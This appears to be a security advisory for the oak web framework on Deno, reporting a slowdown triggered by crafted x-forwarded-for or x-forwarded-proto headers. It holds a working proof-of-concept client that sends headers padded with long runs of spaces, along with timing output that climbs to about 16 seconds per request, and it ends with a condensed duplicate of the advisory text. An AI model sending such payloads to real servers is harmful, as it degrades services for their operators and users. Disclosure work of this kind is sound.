Summary
With specially crafted value of the x-forwarded-proto
or x-forwarded-for
headers, it's possible to significantly slow down an oak server.
Vulnerable Code
PoC
deno --version
deno 2.4.3
v8 13.7.152.14-rusty
typescript 5.8.3
import { Application } from "https://deno.land/x/oak/mod.ts";
const app = new Application({proxy: true});
let i = 1
app.use((ctx) => {
// let url = ctx.request.url // test1) x-forwarded-proto
let ips = ctx.request.ips // test2) x-forwarded-for
console.log(`request ${i} received`)
i++;
ctx.response.body = "hello";
});
await app.listen({ port: 8080 });
const lengths = [2000, 4000, 8000, 16000, 32000, 64000, 128000]
const data1 = lengths.map(l => 'A' + 'A'.repeat(l) + 'A');
const data2 = lengths.map(l => 'A' + ' '.repeat(l) + 'A');
async function run(data) {
for (let i = 0; i < data.length; i++) {
let d = data[i];
const start = performance.now();
await fetch("http://localhost:8080", {
headers: {
// "x-forwarded-proto": d, // test1)
"x-forwarded-for": d, // test2)
},
});
const end = performance.now();
console.log('length=%d, time=%d ms', d.length, end - start);
}
}
console.log("\n[+] Test normal behavior")
await run(data1)
console.log("\n[+] Test payloads")
await run(data2)
deno run --allow-net server.ts
deno run --allow-net client.ts
[+] Test normal behavior
length=2002, time=14 ms
length=4002, time=6 ms
length=8002, time=3 ms
length=16002, time=3 ms
length=32002, time=2 ms
length=64002, time=4 ms
length=128002, time=3 ms
[+] Test payloads
length=2002, time=7 ms
length=4002, time=22 ms
length=8002, time=77 ms
length=16002, time=241 ms
length=32002, time=947 ms
length=64002, time=4020 ms
length=128002, time=15840 ms
Impact
A specially crafted value of the x-forwarded-proto
or x-forwarded-for
headers can be used to significantly slow down an oak server.
Similar Issues
References
Summary
With specially crafted value of the
x-forwarded-proto
orx-forwarded-for
headers, it's possible to significantly slow down an oak server.Vulnerable Code
PoC
server.ts
client.ts
Impact
A specially crafted value of the
x-forwarded-proto
orx-forwarded-for
headers can be used to significantly slow down an oak server.Similar Issues
References